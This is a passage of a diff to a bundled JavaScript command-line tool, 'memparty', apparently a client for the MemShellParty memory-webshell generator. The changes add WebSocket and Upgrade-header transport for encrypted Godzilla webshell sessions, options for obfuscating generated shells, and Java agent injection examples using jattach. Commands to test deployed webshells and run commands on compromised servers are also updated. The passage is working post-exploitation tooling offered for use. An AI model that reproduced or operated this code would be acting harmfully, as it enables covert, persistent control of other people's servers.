  ...isHttps && insecure ? { rejectUnauthorized: false } : {}
548
984
  },
549
- (res) => {
550
- const chunks = [];
551
- res.on("data", (chunk) => chunks.push(chunk));
552
- res.on(
553
- "end",
554
- () => resolve2({
555
- status: res.statusCode ?? 0,
556
- headers: res.headers,
557
- body: Buffer.concat(chunks),
558
- durationMs: Date.now() - started
559
- })
560
- );
561
- res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
562
- }
985
+ onResponse
563
986
  );
987
+ req.on("upgrade", onResponse);
564
988
  req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
565
989
  req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
566
990
  req.write(body);
@@ -986,6 +1410,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
986
1410
 
987
1411
  // src/connect/godzilla.ts
988
1412
  import iconv from "iconv-lite";
1413
+
1414
+ // src/connect/websocket.ts
1415
+ import WebSocket from "ws";
1416
+ function isWebSocketUrl(url) {
1417
+ return /^wss?:\/\//i.test(url);
1418
+ }
1419
+ function requestWebSocket(url, body, options = {}) {
1420
+ let target;
1421
+ try {
1422
+ target = new URL(url);
1423
+ } catch {
1424
+ return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
1425
+ }
1426
+ if (target.protocol !== "ws:" && target.protocol !== "wss:") {
1427
+ return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
1428
+ }
1429
+ const timeoutMs = options.timeoutMs ?? 3e4;
1430
+ return new Promise((resolve2, reject) => {
1431
+ const socket = new WebSocket(target, {
1432
+ headers: buildHeaders({}, options),
1433
+ handshakeTimeout: timeoutMs,
1434
+ rejectUnauthorized: !options.insecure,
1435
+ perMessageDeflate: false,
1436
+ maxPayload: 256 * 1024 * 1024
1437
+ });
1438
+ let timer;
1439
+ let settled = false;
1440
+ const finish = (error, result) => {
1441
+ if (settled) return;
1442
+ settled = true;
1443
+ if (timer) clearTimeout(timer);
1444
+ timer = void 0;
1445
+ socket.removeAllListeners();
1446
+ if (error) reject(error);
1447
+ else resolve2(result);
1448
+ socket.close();
1449
+ };
1450
+ timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
1451
+ socket.once("open", () => socket.send(body));
1452
+ socket.on("message", (data, isBinary) => {
1453
+ finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
1454
+ });
1455
+ socket.once("close", () => finish(new Error("WebSocket closed without a response")));
1456
+ socket.once("error", (error) => finish(error));
1457
+ socket.once("unexpected-response", (_request, response) => {
1458
+ finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
1459
+ });
1460
+ });
1461
+ }
1462
+
1463
+ // src/connect/godzilla.ts
989
1464
  function serializeParams(params) {
990
1465
  const parts = [];
991
1466
  for (const [key, value] of params) {
@@ -1032,7 +1507,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1032
1507
  const left = wrapper.slice(0, 16);
1033
1508
  const right = wrapper.slice(16);
1034
1509
  const baseHeaders = buildHeaders(
1035
- { "Content-Type": "application/x-www-form-urlencoded" },
1510
+ {
1511
+ "Content-Type": "application/x-www-form-urlencoded",
1512
+ ...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
1513
+ },
1036
1514
  options
1037
1515
  );
1038
1516
  const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
@@ -1040,14 +1518,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
1040
1518
  timeoutMs: options.timeoutMs,
1041
1519
  insecure: options.insecure
1042
1520
  });
1043
- const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1044
- const cookies = extractCookies(initResponse.headers);
1045
- const cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1521
+ let cookie;
1522
+ if (isWebSocketUrl(url)) {
1523
+ await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
1524
+ } else {
1525
+ const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
1526
+ const cookies = extractCookies(initResponse.headers);
1527
+ cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
1528
+ }
1046
1529
  return {
1047
1530
  async callMethod(methodName, extraParams = []) {
1048
1531
  const callData = gzip(
1049
1532
  serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
1050
1533
  );
1534
+ if (isWebSocketUrl(url)) {
1535
+ const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
1536
+ try {
1537
+ return gunzipLenient(aesEcbDecrypt(response, xc));
1538
+ } catch {
1539
+ throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
1540
+ }
1541
+ }
1051
1542
  const res = await post(callData, cookie);
1052
1543
  const text = res.body.toString("latin1");
1053
1544
  const leftIdx = text.indexOf(left);
@@ -1513,7 +2004,7 @@ async function testSuo5(url, options = {}) {
1513
2004
  import { randomInt as randomInt2 } from "crypto";
1514
2005
 
1515
2006
  // src/core/site-profile.ts
1516
- import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync2, writeFileSync } from "fs";
2007
+ import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
1517
2008
  import { homedir as homedir2 } from "os";
1518
2009
  import { join as join2 } from "path";
1519
2010
  function inferBodyTemplateContentType(bodyTemplate) {
@@ -1641,7 +2132,7 @@ function saveProfile(profile) {
1641
2132
  validateProfile(profile);
1642
2133
  const dir = profilesDir();
1643
2134
  mkdirSync(dir, { recursive: true });
1644
- writeFileSync(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
2135
+ writeFileSync2(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
1645
2136
  `, "utf8");
1646
2137
  }
1647
2138
  function loadProfile(name) {
@@ -1651,7 +2142,7 @@ function loadProfile(name) {
1651
2142
  `unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
1652
2143
  );
1653
2144
  }
1654
- const profile = JSON.parse(readFileSync2(path, "utf8"));
2145
+ const profile = JSON.parse(readFileSync3(path, "utf8"));
1655
2146
  validateProfile(profile);
1656
2147
  return profile;
1657
2148
  }
@@ -2147,7 +2638,7 @@ registerProtocol(suo5Protocol);
2147
2638
  registerProtocol(mimicProtocol);
2148
2639
 
2149
2640
  // src/core/oplog.ts
2150
- import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync3 } from "fs";
2641
+ import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync4 } from "fs";
2151
2642
  import { homedir as homedir3 } from "os";
2152
2643
  import { dirname, join as join3 } from "path";
2153
2644
  var OUTPUT_LIMIT = 2e3;
@@ -2168,7 +2659,7 @@ function readOps(filter = {}) {
2168
2659
  try {
2169
2660
  const file = opLogPath();
2170
2661
  if (existsSync2(file)) {
2171
- for (const line of readFileSync3(file, "utf8").split("\n")) {
2662
+ for (const line of readFileSync4(file, "utf8").split("\n")) {
2172
2663
  const trimmed = line.trim();
2173
2664
  if (!trimmed) continue;
2174
2665
  try {
@@ -2213,7 +2704,7 @@ function formatOp(e) {
2213
2704
  }
2214
2705
 
2215
2706
  // src/core/targets.ts
2216
- import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync4, writeFileSync as writeFileSync2 } from "fs";
2707
+ import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
2217
2708
  import { homedir as homedir4 } from "os";
2218
2709
  import { dirname as dirname2, join as join4 } from "path";
2219
2710
  var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
@@ -2231,7 +2722,7 @@ function listProjects() {
2231
2722
  try {
2232
2723
  const file = targetStorePath();
2233
2724
  if (!existsSync3(file)) return {};
2234
- const data = JSON.parse(readFileSync4(file, "utf8"));
2725
+ const data = JSON.parse(readFileSync5(file, "utf8"));
2235
2726
  if (data !== null && typeof data === "object" && !Array.isArray(data)) {
2236
2727
  return data;
2237
2728
  }
@@ -2245,7 +2736,7 @@ function getProject(name) {
2245
2736
  function writeProjects(projects) {
2246
2737
  const file = targetStorePath();
2247
2738
  mkdirSync3(dirname2(file), { recursive: true });
2248
- writeFileSync2(file, `${JSON.stringify(projects, null, 2)}
2739
+ writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
2249
2740
  `, { mode: 384 });
2250
2741
  }
2251
2742
  function saveProjectMeta(name, meta) {
@@ -2353,7 +2844,8 @@ function autoSaveShell(conn) {
2353
2844
  headerValue: conn.headerValue,
2354
2845
  extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
2355
2846
  insecure: conn.insecure,
2356
- profile: conn.profile
2847
+ profile: conn.profile,
2848
+ upgradeProtocol: conn.upgradeProtocol
2357
2849
  });
2358
2850
  return `${projectName}/${shellName}`;
2359
2851
  }
@@ -2407,6 +2899,7 @@ function resolveConnection(ref, flags) {
2407
2899
  extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
2408
2900
  insecure: flags.insecure ?? stored?.insecure,
2409
2901
  profile: flags.profile ?? stored?.profile,
2902
+ upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
2410
2903
  targetName
2411
2904
  };
2412
2905
  }
@@ -2426,15 +2919,15 @@ function parseExtraHeaders(lines) {
2426
2919
  function registerConnectCommand(program) {
2427
2920
  program.command("connect").description(
2428
2921
  "Test whether a deployed webshell is alive and the credentials work"
2429
- ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
2922
+ ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
2430
2923
  "--header-name <name>",
2431
2924
  "gate header name reported by gen (shellToolConfig.headerName)"
2432
2925
  ).option(
2433
2926
  "--header-value <value>",
2434
2927
  "gate header value reported by gen (shellToolConfig.headerValue)"
2435
2928
  ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
2436
- new Option("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
2437
- ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2929
+ new Option2("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
2930
+ ).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
2438
2931
  "after",
2439
2932
  `
2440
2933
  Examples:
@@ -2469,7 +2962,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2469
2962
  headerValue: opts.headerValue,
2470
2963
  extraHeaders: parseExtraHeaders(opts.header),
2471
2964
  insecure: opts.insecure,
2472
- profile: opts.profile
2965
+ profile: opts.profile,
2966
+ upgradeProtocol: opts.upgradeProtocol
2473
2967
  });
2474
2968
  } catch (err) {
2475
2969
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -2481,7 +2975,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2481
2975
  headerValue: conn.headerValue,
2482
2976
  extraHeaders: conn.extraHeaders,
2483
2977
  timeoutMs,
2484
- insecure: conn.insecure
2978
+ insecure: conn.insecure,
2979
+ upgradeProtocol: conn.upgradeProtocol
2485
2980
  };
2486
2981
  let result;
2487
2982
  try {
@@ -2533,10 +3028,10 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
2533
3028
  }
2534
3029
 
2535
3030
  // src/commands/custom.ts
2536
- import { Command as Command2 } from "commander";
3031
+ import { Command as Command3 } from "commander";
2537
3032
 
2538
3033
  // src/custom/build.ts
2539
- import { mkdirSync as mkdirSync4, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
3034
+ import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync4 } from "fs";
2540
3035
  import { join as join5 } from "path";
2541
3036
 
2542
3037
  // src/core/jdk.ts
@@ -2546,7 +3041,8 @@ var JDK_VERSIONS = {
2546
3041
  java9: 53,
2547
3042
  java11: 55,
2548
3043
  java17: 61,
2549
- java21: 65
3044
+ java21: 65,
3045
+ java25: 69
2550
3046
  };
2551
3047
  function resolveJreVersion(input3) {
2552
3048
  if (input3 === void 0 || input3 === "") return void 0;
@@ -3077,11 +3573,11 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3077
3573
  const packageDir = join5(outDir, "mimic");
3078
3574
  mkdirSync4(packageDir, { recursive: true });
3079
3575
  const wrapperFile = join5(packageDir, "CachedBody.java");
3080
- writeFileSync3(wrapperFile, renderWrapperJava(), "utf8");
3576
+ writeFileSync4(wrapperFile, renderWrapperJava(), "utf8");
3081
3577
  compile([wrapperFile], outDir, { classpath: [jarOf()] });
3082
3578
  const wrapper = {
3083
- bodyB64: readFileSync5(join5(packageDir, "CachedBody.class")).toString("base64"),
3084
- streamB64: readFileSync5(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
3579
+ bodyB64: readFileSync6(join5(packageDir, "CachedBody.class")).toString("base64"),
3580
+ streamB64: readFileSync6(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
3085
3581
  };
3086
3582
  const javaSource = renderFilterJava({
3087
3583
  className,
@@ -3094,10 +3590,10 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3094
3590
  wrapper
3095
3591
  });
3096
3592
  const javaFile = join5(packageDir, `${className}.java`);
3097
- writeFileSync3(javaFile, javaSource, "utf8");
3593
+ writeFileSync4(javaFile, javaSource, "utf8");
3098
3594
  compile([javaFile], outDir, { classpath: [jarOf()] });
3099
3595
  const classFile = join5(packageDir, `${className}.class`);
3100
- const shellClassBase64 = readFileSync5(classFile).toString("base64");
3596
+ const shellClassBase64 = readFileSync6(classFile).toString("base64");
3101
3597
  const response = await client.generateMemShell({
3102
3598
  shellConfig: {
3103
3599
  server: input3.server,
@@ -3116,13 +3612,13 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3116
3612
  if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
3117
3613
  for (const [name, value] of Object.entries(response.allPackResults)) {
3118
3614
  const file = join5(outDir, `payload-${name}.txt`);
3119
- writeFileSync3(file, `${value}
3615
+ writeFileSync4(file, `${value}
3120
3616
  `, "utf8");
3121
3617
  payloads[name] = file;
3122
3618
  }
3123
3619
  } else if (response.packResult !== void 0) {
3124
3620
  const file = join5(outDir, "payload.txt");
3125
- writeFileSync3(file, `${response.packResult}
3621
+ writeFileSync4(file, `${response.packResult}
3126
3622
  `, "utf8");
3127
3623
  payloads[packer] = file;
3128
3624
  }
@@ -3162,7 +3658,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3162
3658
  connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
3163
3659
  files: result.files
3164
3660
  };
3165
- writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3661
+ writeFileSync4(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3166
3662
  `, "utf8");
3167
3663
  return result;
3168
3664
  }
@@ -3170,7 +3666,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
3170
3666
  // src/commands/custom.ts
3171
3667
  function registerCustomCommand(program) {
3172
3668
  program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
3173
- new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
3669
+ new Command3("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
3174
3670
  "after",
3175
3671
  `
3176
3672
  The full loop (see docs/mimic-memshell-guide.md):
@@ -3507,7 +4003,7 @@ Watch the printed request URL in step 3/4: it changes every run.
3507
4003
  }
3508
4004
 
3509
4005
  // src/commands/exec.ts
3510
- import { Option as Option2 } from "commander";
4006
+ import { Option as Option3 } from "commander";
3511
4007
  function parseExtraHeaders2(lines) {
3512
4008
  const headers = {};
3513
4009
  for (const line of lines ?? []) {
@@ -3523,16 +4019,16 @@ function registerExecCommand(program) {
3523
4019
  program.command("exec").description(
3524
4020
  "Execute a command on a deployed webshell and print its output"
3525
4021
  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3526
- new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
4022
+ new Option3("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
3527
4023
  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
3528
- new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
4024
+ new Option3("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
3529
4025
  ).option(
3530
4026
  "--header-name <name>",
3531
4027
  "gate header name reported by gen (shellToolConfig.headerName)"
3532
4028
  ).option(
3533
4029
  "--header-value <value>",
3534
4030
  "gate header value reported by gen (shellToolConfig.headerValue)"
3535
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
4031
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
3536
4032
  "after",
3537
4033
  `
3538
4034
  Examples:
@@ -3562,7 +4058,8 @@ the OS inside its payload, so --os does not apply.
3562
4058
  headerValue: opts.headerValue,
3563
4059
  extraHeaders: parseExtraHeaders2(opts.header),
3564
4060
  insecure: opts.insecure,
3565
- profile: opts.profile
4061
+ profile: opts.profile,
4062
+ upgradeProtocol: opts.upgradeProtocol
3566
4063
  });
3567
4064
  } catch (err) {
3568
4065
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -3574,7 +4071,8 @@ the OS inside its payload, so --os does not apply.
3574
4071
  headerValue: conn.headerValue,
3575
4072
  extraHeaders: conn.extraHeaders,
3576
4073
  timeoutMs,
3577
- insecure: conn.insecure
4074
+ insecure: conn.insecure,
4075
+ upgradeProtocol: conn.upgradeProtocol
3578
4076
  };
3579
4077
  let result;
3580
4078
  try {
@@ -3633,58 +4131,8 @@ the OS inside its payload, so --os does not apply.
3633
4131
  }
3634
4132
 
3635
4133
  // src/commands/gen.ts
3636
- import { readFileSync as readFileSync7 } from "fs";
3637
- import { Option as Option3 } from "commander";
3638
-
3639
- // src/core/output.ts
3640
- import { writeFileSync as writeFileSync4 } from "fs";
3641
- var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
3642
- function hasBinaryExtension(path) {
3643
- const lower = path.toLowerCase();
3644
- return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
3645
- }
3646
- function shouldDecode(opts) {
3647
- if (opts.decode !== void 0) return opts.decode;
3648
- if (opts.outFile) return hasBinaryExtension(opts.outFile);
3649
- return false;
3650
- }
3651
- function emitPayload(payload, opts, sinks = {}) {
3652
- const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
3653
- const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
3654
- const decoded = shouldDecode(opts);
3655
- if (opts.outFile) {
3656
- if (decoded) {
3657
- const buf = Buffer.from(payload, "base64");
3658
- writeFile(opts.outFile, buf);
3659
- return { destination: opts.outFile, size: buf.length, decoded: true };
3660
- }
3661
- writeFile(opts.outFile, payload);
3662
- return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
3663
- }
3664
- if (decoded) {
3665
- const buf = Buffer.from(payload, "base64");
3666
- writeStdout(buf.toString("binary"));
3667
- return { destination: "stdout", size: buf.length, decoded: true };
3668
- }
3669
- writeStdout(payload.endsWith("\n") ? payload : `${payload}
3670
- `);
3671
- return { destination: "stdout", size: payload.length, decoded: false };
3672
- }
3673
- function hasMultiplePackResults(r) {
3674
- return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
3675
- }
3676
- function emitSinglePackResult(r, opts, sinks = {}) {
3677
- if (hasMultiplePackResults(r)) {
3678
- const n = Object.keys(r.allPackResults).length;
3679
- throw new Error(
3680
- `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
3681
- );
3682
- }
3683
- if (r.packResult === void 0) {
3684
- throw new Error("Server returned no packResult.");
3685
- }
3686
- return emitPayload(r.packResult, opts, sinks);
3687
- }
4134
+ import { readFileSync as readFileSync8 } from "fs";
4135
+ import { Option as Option4 } from "commander";
3688
4136
 
3689
4137
  // src/core/request-builder.ts
3690
4138
  import { randomInt as randomInt3 } from "crypto";
@@ -3706,6 +4154,7 @@ function generateSpringExpressionInjectorClassName() {
3706
4154
  return `org.springframework.expression.${randomChar(UPPERCASE_LETTERS)}${randomName}Util`;
3707
4155
  }
3708
4156
  function buildMemShellRequest(opts) {
4157
+ validateRequiredRemoteOptions(opts.shellToolConfig ?? {}, opts.shellToolParams);
3709
4158
  const injectorClassName = SPRING_GZIP_JDK17_RELATED_PACKERS.has(opts.packer) ? generateSpringExpressionInjectorClassName() : opts.injectorClassName;
3710
4159
  return {
3711
4160
  shellConfig: {
@@ -3718,21 +4167,22 @@ function buildMemShellRequest(opts) {
3718
4167
  byPassJavaModule: opts.byPassJavaModule,
3719
4168
  shrink: opts.shrink,
3720
4169
  lambdaSuffix: opts.lambdaSuffix,
3721
- probe: opts.probe
4170
+ probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
4171
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
4172
+ obfuscationScope: opts.obfuscationScope
3722
4173
  },
3723
4174
  shellToolConfig: {
3724
4175
  shellClassName: opts.shellClassName,
3725
- godzillaPass: opts.godzillaPass,
3726
- godzillaKey: opts.godzillaKey,
3727
- commandParamName: opts.commandParamName,
3728
- commandTemplate: opts.commandTemplate,
3729
- behinderPass: opts.behinderPass,
3730
- antSwordPass: opts.antSwordPass,
4176
+ pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
4177
+ key: opts.godzillaKey,
4178
+ paramName: opts.commandParamName,
4179
+ template: opts.commandTemplate,
3731
4180
  headerName: opts.headerName,
3732
4181
  headerValue: opts.headerValue,
3733
4182
  shellClassBase64: opts.shellClassBase64,
3734
4183
  encryptor: opts.encryptor,
3735
- implementationClass: opts.implementationClass
4184
+ implementationClass: opts.implementationClass,
4185
+ ...opts.shellToolConfig
3736
4186
  },
3737
4187
  injectorConfig: {
3738
4188
  injectorClassName,
@@ -3753,7 +4203,8 @@ function buildProbeRequest(opts) {
3753
4203
  byPassJavaModule: opts.byPassJavaModule,
3754
4204
  shrink: opts.shrink,
3755
4205
  staticInitialize: opts.staticInitialize,
3756
- lambdaSuffix: opts.lambdaSuffix
4206
+ lambdaSuffix: opts.lambdaSuffix,
4207
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
3757
4208
  },
3758
4209
  probeContentConfig: {
3759
4210
  host: opts.host,
@@ -3761,15 +4212,27 @@ function buildProbeRequest(opts) {
3761
4212
  sleepServer: opts.sleepServer,
3762
4213
  server: opts.server,
3763
4214
  reqParamName: opts.reqParamName,
3764
- commandTemplate: opts.commandTemplate
4215
+ commandTemplate: opts.commandTemplate,
4216
+ respHeaderName: opts.respHeaderName
3765
4217
  },
3766
4218
  packer: opts.packer
3767
4219
  };
3768
4220
  }
3769
4221
 
4222
+ // src/core/agent.ts
4223
+ function supportsAgentLoadArguments(shellType, packer) {
4224
+ return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
4225
+ }
4226
+ function agentLoadExamples(agentArgs) {
4227
+ return [
4228
+ `java -jar agent.jar <pid> ${agentArgs}`,
4229
+ `jattach <pid> load instrument false agent.jar=${agentArgs}`
4230
+ ];
4231
+ }
4232
+
3770
4233
  // src/wizard/memshell-wizard.ts
3771
- import { readFileSync as readFileSync6 } from "fs";
3772
- import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
4234
+ import { readFileSync as readFileSync7 } from "fs";
4235
+ import { checkbox, confirm, input, select } from "@inquirer/prompts";
3773
4236
  var JDK_CHOICES = [
3774
4237
  { name: "server default", value: "" },
3775
4238
  ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({
@@ -3777,19 +4240,12 @@ var JDK_CHOICES = [
3777
4240
  value: name
3778
4241
  }))
3779
4242
  ];
3780
- function packerChoices(tree) {
3781
- const choices = [];
3782
- for (const parent of tree) {
3783
- choices.push(new Separator(`\u2500\u2500 ${parent.name} \u2500\u2500`));
3784
- choices.push({ name: parent.name, value: parent.name });
3785
- for (const child of parent.children) {
3786
- choices.push({ name: ` ${child}`, value: child });
3787
- }
3788
- }
3789
- return choices;
3790
- }
3791
4243
  async function runMemShellWizard(client) {
3792
- const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
4244
+ const [config, packerTree, toolConfigs] = await Promise.all([
4245
+ client.getConfig(),
4246
+ client.getPackerTree(),
4247
+ client.getShellToolConfigs()
4248
+ ]);
3793
4249
  const server = await select({
3794
4250
  message: "Target server",
3795
4251
  choices: Object.keys(config).map((s) => ({ name: s, value: s }))
@@ -3803,13 +4259,123 @@ async function runMemShellWizard(client) {
3803
4259
  message: "Shell type",
3804
4260
  choices: config[server][shellTool].map((t) => ({ name: t, value: t }))
3805
4261
  });
3806
- const packer = await select({
3807
- message: "Packer",
3808
- choices: packerChoices(packerTree)
4262
+ const category = await select({
4263
+ message: "Packer category",
4264
+ choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
3809
4265
  });
4266
+ const selected = packerTree.find((packer2) => packer2.name === category);
4267
+ const packer = selected.children.length ? await select({
4268
+ message: "Packer variant",
4269
+ choices: selected.children.map((name) => ({ name, value: name }))
4270
+ }) : category;
3810
4271
  const opts = { server, shellTool, shellType, packer };
3811
- switch (shellTool) {
4272
+ const toolConfig = toolConfigForTool(toolConfigs, shellTool);
4273
+ if (toolConfig) {
4274
+ opts.shellToolParams = toolConfig.params;
4275
+ opts.shellToolConfig = {};
4276
+ const visibleParams = toolConfig.params.filter((param) => param.ui?.kind === "remote-select" || !useRandomDefaults(toolConfig));
4277
+ const singleRemoteParam = visibleParams.length === 1 && visibleParams[0]?.ui?.kind === "remote-select" ? visibleParams[0] : void 0;
4278
+ for (const param of visibleParams) {
4279
+ const value = await promptToolParam(param, param.name === singleRemoteParam?.name);
4280
+ if (value !== void 0 && value !== "") opts.shellToolConfig[param.name] = value;
4281
+ }
4282
+ } else {
4283
+ await promptLegacyToolConfig(opts, client);
4284
+ }
4285
+ const shellClassName = await input({ message: "Shell class name (optional, random if empty)", default: "" });
4286
+ if (shellClassName) opts.shellClassName = shellClassName;
4287
+ opts.urlPattern = await input({ message: "URL pattern", default: "/*" });
4288
+ const jdk = await select({ message: "Target JDK", choices: JDK_CHOICES });
4289
+ if (jdk) opts.jdk = jdk;
4290
+ const toggles = await checkbox({
4291
+ message: "Options",
4292
